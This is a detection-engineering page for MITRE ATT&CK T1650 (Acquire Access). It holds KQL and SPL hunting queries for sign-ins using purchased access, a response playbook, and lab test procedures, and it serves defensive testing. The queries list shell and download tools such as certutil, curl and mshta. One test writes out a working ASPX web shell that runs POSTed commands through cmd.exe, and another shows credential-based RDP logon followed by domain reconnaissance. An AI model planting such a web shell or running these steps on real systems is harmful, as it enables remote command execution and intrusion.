T1650

Acquire Access

Resource Development Last updated:

This detection identifies indicators that adversaries have leveraged purchased or brokered access to compromise an environment — the operational signature left when Initial Access Broker (IAB)-sold footholds are activated. Because T1650 itself is a pre-compromise preparation activity, detection focuses on anomalous authentication patterns consistent with a new threat actor using previously established access: first-use logons from novel geolocations for established accounts, high-risk sign-ins immediately followed by reconnaissance activity, web shell process ancestry patterns indicative of broker-planted backdoors, and external remote service sessions from IPs with no prior organizational history. Correlating Azure AD risk signals with unusual lateral movement timing provides the strongest detection fidelity.

What is T1650 Acquire Access?

Acquire Access (T1650) maps to the Resource Development tactic — the adversary is trying to establish resources they can use to support operations in MITRE ATT&CK.

This page provides production-ready detection logic for Acquire Access, covering the data sources and telemetry it touches: Azure Active Directory, Microsoft Entra ID Protection. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Resource Development
Technique
T1650 Acquire Access
Canonical reference
https://attack.mitre.org/techniques/T1650/
Microsoft Sentinel / Defender
kusto 
// T1650 — Acquire Access: Detect activated IAB-sold footholds via anomalous first-use authentication
let lookbackDays = 30d;
let alertWindowHours = 24h;
// Build baseline of known IPs and locations per user over past 30 days
let historicalBaseline = AADSignInLogs
| where TimeGenerated between (ago(lookbackDays) .. ago(alertWindowHours))
| where ResultType == 0
| summarize
    HistoricalIPs = make_set(IPAddress, 500),
    HistoricalCountries = make_set(Location, 100),
    AccountAgeInDays = count()
    by UserPrincipalName;
// Identify recent high-risk or anomalous successful sign-ins
let recentHighRiskSignins = AADSignInLogs
| where TimeGenerated > ago(alertWindowHours)
| where ResultType == 0
| where RiskLevelDuringSignIn in ("high", "medium")
    or RiskState in ("atRisk", "confirmedCompromised")
    or RiskDetail has_any ("unfamiliarFeatures", "anonymizedIPAddress", "maliciousIPAddress", "impossibleTravel", "newCountry")
| project
    TimeGenerated,
    UserPrincipalName,
    IPAddress,
    Location,
    AppDisplayName,
    DeviceDetail = tostring(DeviceDetail),
    RiskLevelDuringSignIn,
    RiskState,
    RiskDetail = tostring(RiskDetail),
    AuthenticationRequirement,
    ConditionalAccessStatus,
    CorrelationId;
// Join to baseline — flag new-country/new-IP access for established accounts
recentHighRiskSignins
| join kind=leftouter historicalBaseline on UserPrincipalName
| where AccountAgeInDays > 7 // Established account, not brand new
| where not(IPAddress in (HistoricalIPs))
| where not(Location in (HistoricalCountries))
| extend
    RiskScore = case(
        RiskLevelDuringSignIn == "high", 3,
        RiskLevelDuringSignIn == "medium", 2,
        1
    ),
    NewGeolocation = strcat("New country/IP for this account: ", Location, " / ", IPAddress),
    BrokerIndicators = case(
        RiskDetail has "anonymizedIPAddress", "TOR/VPN exit node — common IAB delivery mechanism",
        RiskDetail has "maliciousIPAddress", "Known malicious IP — potential broker infrastructure",
        RiskDetail has "impossibleTravel", "Impossible travel — credential handoff to remote threat actor",
        RiskDetail has "newCountry", "New country logon — new actor using acquired creds",
        "High-risk sign-in from unknown location"
    )
| where RiskScore >= 2
| project
    TimeGenerated,
    UserPrincipalName,
    IPAddress,
    Location,
    AppDisplayName,
    RiskLevelDuringSignIn,
    RiskState,
    BrokerIndicators,
    NewGeolocation,
    ConditionalAccessStatus,
    CorrelationId
| order by TimeGenerated desc

Detects activation of IAB-sold access by correlating Azure AD Identity Protection risk signals (impossible travel, anonymous IP, new country) with first-appearance logons from IPs and geolocations never previously seen for established accounts. This pattern is the operational signature of a purchased credential or backdoor being activated by a new threat actor.

high severity medium confidence

Data Sources

Azure Active Directory Microsoft Entra ID Protection

Required Tables

AADSignInLogs

False Positives

  • Legitimate employee travel to a new country using personal or hotel WiFi triggering new geolocation detection
  • Corporate VPN exit node changes or new VPN infrastructure rollout causing unfamiliar IP signals
  • IT administrators using anonymizing proxies or jump hosts for infrastructure management from new regions
  • New employee first logon from home network or coworking space not in organizational baseline
  • Mergers/acquisitions onboarding new users from previously unseen IP ranges

Sigma rule & cross-platform mapping

The detection logic for Acquire Access (T1650) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1650 Sigma rules on detection.fyi

Platform-specific guides for T1650

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-03-20 Research depth: deep
References (3)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate IAB Credential Use — New Geolocation Authentication via VPN Exit Node

    Expected signal: AADSignInLogs entry with ResultType=0, RiskLevelDuringSignIn='medium' or 'high', RiskDetail containing 'unfamiliarFeatures' or 'anonymizedIPAddress' if using VPN. Sign-in should appear in Identity Protection risk detections.

  2. Test 2Web Shell Activation Simulation — IIS Spawning Command Shell

    Expected signal: Sysmon Event ID 1 (Process Create) with ParentImage=w3wp.exe and Image=cmd.exe. DeviceProcessEvents entry showing InitiatingProcessFileName=w3wp.exe and FileName=cmd.exe. Sysmon Event ID 3 (Network Connection) from w3wp.exe to localhost.

  3. Test 3Dormant Account Reactivation Simulation — RDP from New External IP

    Expected signal: Windows Security Event 4624 on target server with Logon Type 10 (RemoteInteractive) or Type 3 (Network), showing the external test IP as the source. Also generates 4776 (credential validation) and 4672 (special privileges) if test account has elevated rights.

Response Playbook

Triage

  1. Step 1: Pull the full sign-in record from AADSignInLogs or azure:aad:signin for the flagged user — confirm the authentication succeeded (ResultType=0) and record the exact IP, geolocation, ASN, and user-agent string.
  2. Step 2: Check the IP against threat intelligence: run the source IP through VirusTotal, Shodan, and AbuseIPDB. Look for classification as TOR exit node, residential proxy, bulletproof hosting, or known IAB C2 infrastructure.
  3. Step 3: Review the account's 30-day sign-in history to establish baseline geolocation and device fingerprints. Determine if this is the first time this country, ISP, or device has been seen for this account.
  4. Step 4: Check Microsoft Entra ID Protection risk detections for the user — look for 'unfamiliarFeatures', 'anonymizedIPAddress', 'impossibleTravel', or 'atRisk' state. Confirm whether MFA was satisfied and how (TOTP, push, SMS).
  5. Step 5: Correlate the authentication timestamp with downstream activity: search DeviceLogonEvents, AuditLogs, and OfficeActivity for any actions taken within 15 minutes of the suspicious sign-in. Look for enumeration (directory queries, mailbox access, file share browsing).
  6. Step 6: Contact the user via an out-of-band channel (phone, Slack DM from IT) — do NOT email the potentially compromised account. Verify if they logged in from the flagged location and device.

Containment

  1. If the user denies the authentication or is unreachable, immediately revoke all active sessions in Entra ID: navigate to Users > [User] > Revoke sessions, or run: Revoke-MgUserSignInSession -UserId [UPN].
  2. Force a password reset requiring the user to set a new password from a verified corporate device on a trusted network.
  3. Temporarily block the source IP at the perimeter firewall and in Azure Conditional Access if it is not a known legitimate IP.
  4. If a web shell or backdoor is suspected as the access vector (based on IIS/Apache process ancestry or unusual HTTP logs), isolate the affected server from network using EDR console: DeviceIsolate in MDE or equivalent.
  5. If lateral movement has been detected post-authentication, quarantine all affected endpoints and revoke all active sessions for any accounts accessed from those machines.
  6. Notify the SIEM/SOC platform to increase alert sensitivity for this user and any systems they accessed during the suspicious session for the next 72 hours.

Evidence Collection

  1. Export the complete AADSignInLogs record for the suspicious session including CorrelationId, AuthenticationDetails, ConditionalAccessPolicies applied, and DeviceDetail (device ID, OS, browser, compliant status).
  2. Capture Azure AD Identity Protection risk event details: the specific risk detections triggered, risk level timeline, and any automated remediation that fired.
  3. Pull DeviceLogonEvents and DeviceProcessEvents for all machines the account authenticated to within 2 hours of the suspicious sign-in — look for unusual parent-child process chains, especially cmd.exe or powershell.exe spawned by IIS worker processes (w3wp.exe).
  4. Collect OfficeActivity logs for the affected user covering mailbox access, SharePoint browsing, OneDrive file access, and Teams activity in the 24 hours following the suspicious sign-in.
  5. If RDP/VPN access is involved, export VPN connection logs from the gateway appliance (source IP, duration, bytes transferred) and Windows Security Event 4624 (Logon Type 10) from the target server.
  6. Preserve all relevant logs to immutable storage (Azure Storage with legal hold or SIEM archive) before any remediation actions that might flush logs.
  7. Document the full IP geolocation chain: IP → ASN → hosting provider → whether it is a datacenter, residential proxy, or TOR exit. Save this for threat intelligence reporting.

Escalation Criteria

  • ! Escalate immediately to Incident Response if the suspicious sign-in account has Global Administrator, Privileged Role Administrator, or any Azure subscription Owner/Contributor role — IABs specifically seek and sell privileged access.
  • ! Escalate if post-authentication activity shows evidence of Active Directory reconnaissance (LDAP queries, BloodHound-like enumeration via net group /domain, dsquery) within 30 minutes of sign-in.
  • ! Escalate if the compromised account accessed financial systems, HR platforms, source code repositories, or cloud infrastructure consoles after the suspicious authentication.
  • ! Escalate if multiple accounts show anomalous sign-ins from the same or geographically proximate source IPs within a 24-hour window — this may indicate a bulk credential package sold by an IAB.
  • ! Escalate if a web shell is discovered on an internet-facing server, particularly if process ancestry shows w3wp.exe or httpd spawning cmd.exe, PowerShell, or curl — this is consistent with broker-planted persistent access.
  • ! Escalate if the organization is in a sector (IT services, healthcare, financial, government, defense) known to be actively targeted in IAB marketplace listings.

Investigation Guide

Forensic Artifacts

  • > Azure AD sign-in logs with CorrelationId linking authentication to subsequent activity
  • > Entra ID Protection risk detection records including detection type, risk score, and remediation status
  • > Windows Security Event 4624 (successful logon) with Logon Type 10 (RemoteInteractive) from external IPs
  • > IIS access logs showing unusual HTTP POST requests to .aspx, .php, .jsp files in non-standard web directories — web shell communication pattern
  • > Windows prefetch files (C:\Windows\Prefetch\) for cmd.exe, powershell.exe, net.exe executed immediately after web server process activity
  • > Browser history and credential manager artifacts on the accessing device (if accessible) showing the session origin
  • > VPN gateway logs (authentication timestamp, source IP, session duration, bytes transferred)
  • > DNS query logs for domains associated with known IAB infrastructure or broker forums accessed before the incident
  • > NetFlow or firewall logs showing beaconing patterns to C2 infrastructure consistent with pre-planted loader/implant

Tuning Guidance

Begin with high-risk and medium-risk sign-ins only (RiskLevelDuringSignIn = 'high' or 'medium') to reduce noise from low-confidence anomalies. Exclude known VPN exit nodes, corporate proxy IP ranges, and remote work hub cities from geolocation alerting by maintaining an allowlist in a Sentinel watchlist. Increase the dormancy threshold from 30 to 60 days if too many recently onboarded remote employees trigger false positives. For the web shell hunting query, add exclusions for known legitimate web automation accounts (monitoring agents, health check bots) by filtering on AccountName. Consider integrating with Microsoft Threat Intelligence to automatically suppress known-safe IP ranges and enrich flagged IPs with IAB infrastructure attribution.

Hunting Queries

Hunts for web server parent processes (IIS, Apache, nginx) spawning command interpreters — the primary telemetry signature of broker-planted web shells being activated by paying customers.

Hunting — KQL
kql 
// Hunt: Web shell process ancestry — IIS/Apache spawning shells
// Finds web server parent processes spawning command interpreters (broker-planted web shell indicator)
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "apache2", "tomcat", "iisexpress.exe", "php-cgi.exe", "java.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "wget.exe")
| project
    TimeGenerated,
    DeviceName,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    FileName,
    ProcessCommandLine,
    AccountName,
    InitiatingProcessParentFileName
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval ParentImage=lower(ParentImage)
| where (like(ParentImage, "%w3wp.exe") OR like(ParentImage, "%httpd.exe") OR like(ParentImage, "%nginx.exe") OR like(ParentImage, "%php-cgi.exe") OR like(ParentImage, "%tomcat%"))
| eval ChildImage=lower(Image)
| where (like(ChildImage, "%cmd.exe") OR like(ChildImage, "%powershell.exe") OR like(ChildImage, "%wscript.exe") OR like(ChildImage, "%cscript.exe") OR like(ChildImage, "%certutil.exe") OR like(ChildImage, "%curl.exe"))
| table _time, Computer, ParentImage, ParentCommandLine, Image, CommandLine, User
| sort -_time

Hunts for the combined pattern of high-risk (impossible travel, TOR, new country) authentication followed within one hour by privileged Azure AD operations — indicating a new threat actor (IAB customer) using purchased access and immediately escalating privileges.

Hunting — KQL
kql 
// Hunt: Impossible travel with rapid privilege escalation post-auth
// Detects sign-ins flagged for impossible travel immediately followed by privileged directory queries
let suspectSignins = AADSignInLogs
| where TimeGenerated > ago(14d)
| where ResultType == 0
| where RiskDetail has_any ("impossibleTravel", "anonymizedIPAddress", "maliciousIPAddress", "newCountry")
| project SigninTime=TimeGenerated, UserPrincipalName, IPAddress, Location, RiskDetail=tostring(RiskDetail), CorrelationId;
let postAuthActivity = AuditLogs
| where TimeGenerated > ago(14d)
| where Category in ("RoleManagement", "GroupManagement", "UserManagement", "ApplicationManagement")
| where Result == "success"
| project AuditTime=TimeGenerated, AuditUser=tostring(InitiatedBy.user.userPrincipalName), OperationName, TargetResources=tostring(TargetResources);
suspectSignins
| join kind=inner postAuthActivity on $left.UserPrincipalName == $right.AuditUser
| where AuditTime between (SigninTime .. (SigninTime + 1h))
| project SigninTime, AuditTime, UserPrincipalName, IPAddress, Location, RiskDetail, OperationName, TargetResources
| order by SigninTime desc
Hunting — SPL
spl 
index=azure sourcetype="azure:aad:audit" result="Success"
| eval audit_user=lower(mvindex(split(initiatedby, "\""), 1))
| eval audit_time=_time
| join type=inner audit_user
    [search index=azure sourcetype="azure:aad:signin" result="0"
     | where like(risk_detail, "%impossibleTravel%") OR like(risk_detail, "%anonymizedIPAddress%") OR like(risk_detail, "%newCountry%")
     | eval signin_time=_time, signin_user=lower(user)
     | eval window_end=signin_time+3600
     | rename signin_user AS audit_user
     | table audit_user, signin_time, window_end, src_ip, location, risk_detail]
| where audit_time >= signin_time AND audit_time <= window_end
| table signin_time, audit_time, audit_user, src_ip, location, risk_detail, operation_name
| sort -signin_time

Hunts for dormant accounts (inactive 30+ days) suddenly re-activated from geolocations not in their historical baseline — a characteristic signature of IAB-sold credentials being activated by a new threat actor who purchased dormant but valid credentials.

Hunting — KQL
kql 
// Hunt: Dormant account reactivation from new geolocation
// Accounts inactive for 30+ days suddenly authenticating from new countries — classic IAB re-use pattern
let inactiveThreshold = 30d;
let recentWindow = 7d;
let dormantAccounts = AADSignInLogs
| where TimeGenerated between (ago(inactiveThreshold + 90d) .. ago(inactiveThreshold))
| where ResultType == 0
| summarize LastActiveTime=max(TimeGenerated), KnownLocations=make_set(Location, 20) by UserPrincipalName;
AADSignInLogs
| where TimeGenerated > ago(recentWindow)
| where ResultType == 0
| join kind=inner dormantAccounts on UserPrincipalName
| where not(Location in (KnownLocations))
| extend DormancyDays = datetime_diff('day', TimeGenerated, LastActiveTime)
| where DormancyDays >= 30
| project
    TimeGenerated,
    UserPrincipalName,
    IPAddress,
    Location,
    AppDisplayName,
    DormancyDays,
    LastActiveTime,
    KnownLocations,
    RiskLevelDuringSignIn
| order by DormancyDays desc
Hunting — SPL
spl 
index=azure sourcetype="azure:aad:signin" result="0"
| eval signin_time=_time
| stats latest(signin_time) AS last_active, values(location) AS known_locations BY user
| eval dormancy_days=round((now()-last_active)/86400,0)
| where dormancy_days >= 30
| join type=inner user
    [search index=azure sourcetype="azure:aad:signin" result="0" earliest=-7d
     | eval recent_location=location, signin_user=user
     | rename signin_user AS user
     | table user, recent_location, src_ip, _time]
| eval location_known=if(mvfind(known_locations, recent_location)>=0, "yes", "no")
| where location_known="no"
| table user, dormancy_days, last_active, recent_location, known_locations, src_ip, _time
| sort -dormancy_days

Atomic Red Team Tests

Test 1 Simulate IAB Credential Use — New Geolocation Authentication via VPN Exit Node
windows

Simulates an IAB customer using purchased credentials to authenticate from a new geolocation via a residential proxy or VPN exit node. This generates the Azure AD risk signals (new country, anonymous IP) that T1650 detection relies on.

Command

powershell 
# Prereqs: Install ProxyChains or use a TOR exit node IP via a testing VPN
# This test uses curl to simulate an OAuth authentication from an unfamiliar IP
# Replace values with your test tenant and test user credentials
$testUPN = "[email protected]"
$testPassword = "TestPassword123!"
$tenantId = "your-tenant-id"
$clientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI public client

# Connect through TOR/residential proxy to simulate new-geolocation sign-in
# NOTE: Use only on authorized test tenant
$body = @{
    grant_type = "password"
    username = $testUPN
    password = $testPassword
    scope = "openid profile"
    client_id = $clientId
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method Post -Body $body -ContentType "application/x-www-form-urlencoded"
Write-Output "Authentication result: $($response.token_type) token obtained"
Write-Output "Check AADSignInLogs for risk signals on: $testUPN"

Cleanup

powershell 
# Revoke sessions for the test account
Connect-MgGraph -Scopes "User.ReadWrite.All"
Revoke-MgUserSignInSession -UserId $testUPN
Write-Output "Sessions revoked for test user"

Expected Telemetry

AADSignInLogs entry with ResultType=0, RiskLevelDuringSignIn='medium' or 'high', RiskDetail containing 'unfamiliarFeatures' or 'anonymizedIPAddress' if using VPN. Sign-in should appear in Identity Protection risk detections.

Expected Detection

T1650 KQL detection alert firing on AADSignInLogs for the test user with new geolocation and IP not in 30-day baseline. Entra ID Protection risk event created.

Test 2 Web Shell Activation Simulation — IIS Spawning Command Shell
windows

Simulates the process ancestry pattern of a broker-planted web shell being triggered by an IAB customer: web server process (w3wp.exe) spawning cmd.exe or PowerShell, which is the primary endpoint telemetry for web shell-based IAB access.

Command

powershell 
# Simulate web shell process ancestry for detection testing
# Run this on a test Windows server with IIS installed
# WARNING: Do NOT run on production systems

# Step 1: Create a benign test web shell (outputs system info only)
$webShellPath = "C:\inetpub\wwwroot\test_shell_atomic.aspx"
$webShellContent = @"
<%@ Page Language="C#" %>
<%
if (Request.Form["cmd"] != null) {
    var proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request.Form["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
    proc.WaitForExit();
}
%>
"@
Set-Content -Path $webShellPath -Value $webShellContent

# Step 2: Trigger web shell to generate process ancestry telemetry
Start-Sleep -Seconds 2
$response = Invoke-WebRequest -Uri "http://localhost/test_shell_atomic.aspx" -Method Post -Body "cmd=whoami" -UseBasicParsing
Write-Output "Web shell response: $($response.Content)"

Cleanup

powershell 
Remove-Item -Path "C:\inetpub\wwwroot\test_shell_atomic.aspx" -Force -ErrorAction SilentlyContinue
Write-Output "Test web shell removed"

Expected Telemetry

Sysmon Event ID 1 (Process Create) with ParentImage=w3wp.exe and Image=cmd.exe. DeviceProcessEvents entry showing InitiatingProcessFileName=w3wp.exe and FileName=cmd.exe. Sysmon Event ID 3 (Network Connection) from w3wp.exe to localhost.

Expected Detection

Web shell hunting KQL query alert firing on DeviceProcessEvents where InitiatingProcessFileName=w3wp.exe and FileName=cmd.exe. SOC alert for web server spawning command interpreter.

Test 3 Dormant Account Reactivation Simulation — RDP from New External IP
windows

Simulates the reactivation of a dormant account via RDP from an external IP, mimicking IAB customers using purchased credentials to connect to previously compromised endpoints. Generates Windows Security Event 4624 (Logon Type 10) from an unfamiliar external source.

Command

powershell 
# Simulate external RDP logon event for a test account
# Run from an external test workstation or VM on a different network
# Replace with your test environment credentials
$targetServer = "test-server.yourlab.local"
$testUser = "TESTDOMAIN\dormant_test_user"
$testPassword = "TestPassword123!"

# Initiate RDP connection (generates Event 4624 Logon Type 10 on target)
cmdkey /add:$targetServer /user:$testUser /pass:$testPassword
mstsc /v:$targetServer /w:1024 /h:768

# Alternative: use PowerShell remoting to simulate network logon (Event 4624 Type 3)
$securePass = ConvertTo-SecureString $testPassword -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($testUser, $securePass)
Invoke-Command -ComputerName $targetServer -Credential $cred -ScriptBlock {
    Write-Output "Dormant account reactivation simulation: $(whoami) at $(Get-Date)"
    # Simulate immediate reconnaissance (IAB customer behavior)
    Get-WmiObject -Class Win32_ComputerSystem | Select-Object Name, Domain, NumberOfProcessors
    net user /domain 2>&1 | Select-Object -First 5
}

Cleanup

powershell 
# Remove cached credentials
cmdkey /delete:$targetServer
# Disable the test dormant account
Disable-ADAccount -Identity dormant_test_user
Write-Output "Test account disabled and credentials cleared"

Expected Telemetry

Windows Security Event 4624 on target server with Logon Type 10 (RemoteInteractive) or Type 3 (Network), showing the external test IP as the source. Also generates 4776 (credential validation) and 4672 (special privileges) if test account has elevated rights.

Expected Detection

T1650 SPL detection alert for external logon from unfamiliar IP. Dormant account hunting query identifying the account as having been inactive for the simulated dormancy period with new source IP outside known baseline.

Related Detections

Tactic Hub

TA0042Resource Development

Related Techniques

T1133External Remote ServicesT1505.003Web ShellT1078Valid AccountsT1199Trusted RelationshipT1195Supply Chain CompromiseT1589.001CredentialsT1597.002Purchase Technical DataT1583Acquire Infrastructure

Same Tactic: Resource Development

Popular Detections